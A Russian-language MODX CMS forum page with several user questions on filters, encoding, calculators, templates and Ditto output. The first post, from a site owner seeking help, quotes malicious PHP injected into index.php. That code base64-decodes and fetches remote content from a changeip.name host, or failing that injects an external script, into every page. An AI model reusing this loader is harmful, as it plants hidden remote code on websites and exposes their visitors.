0.00
716 читателей, 3363 топика

[EVO] Как обезопасить сайт?

Здравствуйте!
Столкнулся с такой проблемой на рабочем сайте.
В файле index.php был размещен такой код:
function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {
        $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
		$content = @file_get_contents($get);
		if (!$content)
			echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
		else
			echo $content;
}
collectnewss ();


Если открыть исходный код страницы сайта, то там вот такой яваскрипт в самом низу видно:
<script src="http://feelthesame.changeip.name/rsize.js"></script>


Сталкивался с подобным несколько раз.

Подскажите, пожалуйста, каким образом могли разместить такой код?
Взломали хостинг или взломали modx?
Как с этим можно бороться?

[EVO] Специфический фильтр

Может кто сталкивался, либо видел где-то мануальчик как такое можно было бы реализовать.

Есть каталог — вывод из каталога — Ditto. У каждой единицы данного каталога есть параметры TV — цена, бренд, цвет, применение.

Для различных веток каталога параметры могут отличаться. Но суть остается такой же.

Есть у нас вывод каталога — и мы данный каталог можем отфильтровать по бренду — тогда останутся только товары соответствующие данному бренду, затем мы можем применить другие фильтрации.

Аналоги — rozetka.com.ua/ru/products/procategory/102/index.html

Подскажите в какую сторону рыть то?

[REVO] [РЕШЕНО] Проблема с кодировкой с базой данных

Здравствуйте у меня возникла одна делема, так случайно получилось, что наполнял сайт, и база была в кодировке latin1 и он сохранял в базу с этой кодировкой utf8 данные, и понятное дело что в базе получились крякозяблы. И я теперь не знаю, как из этих крякозяблов сделать нормальный текст, чтобы перенести в нормальную базу. Вот дамп базы. Может кто подскажет что. Буду очень благодарен, заново набивать всё, ну вообще не есть хорошо

В итоге после кучи всяких модификаций и колупаний, мне в голову пришла идея, получать так же как и на оригинальном сайте, и запиливать уже корректные данные в базу.

Читать дальше →

[EVO] Как сделать калькулятор расчета с примитивной формулой?

Использую Modx Evo. Есть каталог радиаторов, все данные по товару забиваются в отдельные TV параметры.

Нужно мне сделать калькулятор расчета стоимости замены радиаторов отопления.

Человек вводит количество заменяемых батарей. И вводит общую площадь комнат.
Цифры с первого поля умножаются на статичные цифры и выводится текст с суммой.

Цифры со второго поля переможаются на данные с таблиц каждого товара.

Вот как здесь b23.ru/hv7x

Как мне реализовать функции умножения, деления и т.д. в модиксе?

Допустим чтобы можно было оперерировать тв-параметрами, например [+num1+]*[+num2+]/[+num3+]

Как это реализовать?

community.modx-cms.ru/blog/fast-solution/8155.html

Вот для Рево вроде как есть такой сниппет, а для Evo?

[EVO] Не получается отобразить изображение! Прошу помощи!

Здравствуйте, прошу помогите пожалуйста, такая проблема:
Делаю свой сайт по примеру уроков Ефимова Виктора efimov.ws, но возникла сложность из-за которой я в тупике, сложность в выводе изображения:
вопщем вставляю в шаблон [*img1*] — название TV параметра, с полным путём к изображению, а на сайте не отображается, смотрю исходный код = там путь но без имени файла, подскажи в чём может быть дело, причём если писать полный адрес до изображения оно загрузилось.
Версия ModX EVO 1.0.8

[REVO] Смена шаблона или переход на другой контекст

Здравствуйте столкнулся вот с какой проблемой. Мне необходимо две версии сайта.
1) Нормальная
2) Версия для слепых(назовём это так)

Ну и понятное дело что эта проблема решается сменой шаблона. Вот возник вопрос, как можно менять для определённого документа менять шаблон?

У меня есть две идеи
1) Найти в исходнике где задаётся при старте страницы нужный шаблон и подменять его в зависимости от записи в сессии
2) Сделать полную копию на другой контекст. И тогда возникает одна проблема, например будет ссылка «Версия для слепых» И как задать соответствие, что с этой страницы именно на точно такую же но для слепых кидать людей. Т.е. как эти соответствия id задавать.

upd. Использовал вариант от vanchelo только с небольшой модификацией, под себя.

if ( isset($_GET['template']))
{
$_SESSION['template'] = (int)$_GET['template'];
}
if ($modx->event->name == 'OnWebPageInit' && isset($_SESSION['template'])) {

    $template = (int) $_SESSION['template'];
    // Допустимые шаблоны
    if (!in_array($template, array(0,1,2,3))) return true;
 
    // Получаем ресурс
    if (!is_object($modx->resource)) {
        $modx->resource = $modx->request->getResource($modx->resourceMethod, $modx->resourceIdentifier);
    }
    // Меняем шаблон у ресурса
    $modx->resource->template = $template;
    // Делаем ресурс не кэшируемым
    $modx->resource->cacheable = false;
}

Ограничение MODx EVO по количеству документов

Относительно недавно начал изучать эту CMS, уже на ней построил два простых сайтика-статейника. Волнует вот какой вопрос — услышал, что предел EVO — 1000 документов. Пока каждому из этих сайтов до тысячи страниц далеко, но через годик-другой это число наверняка будет достигнуто. Существует ли такая проблема, и если да, то как ее решать? Как я понимаю, REVO для меня плохой вариант — использую больше готовые решения (до этого работал с DLE), глубоко в дебри системы лезть не планирую.

Ditto и его контейнер

Зачастую требуется вывести что-нибудь через Ditto с заголовком, типа «Похожие товары». Если этих самых похожих товаров на определенной странице нет, то выводится заголовок, а под ним пустота или «Нет записей». Мне это не нравится, лучше вообще этот блок не показывать в случае отсутствия результатов.
Как это реализовать? Для Wayfinder есть параметр outerTpl, а для Ditto подобного нет.

Можно поставить в качестве шаблона первого документа (tplFirst) что-то вроде:
<div class="similar">
 <h3>Похожие товары</h3>
 <div class="product">
  .....
 </div>

Общий шаблон (tpl):
<div class="product">
  .....
</div>

И шаблон последнего (tplLast):
<div class="product">
  .....
</div>
</div>


Тогда всё будет ок, кроме случаев, если выводятся 1-2 элемента.

Можно через PHx делать проверку на пустоту результатов Ditto, но это придётся 2-3 раза вызывать его вместо одного. Что тоже не есть хорошо…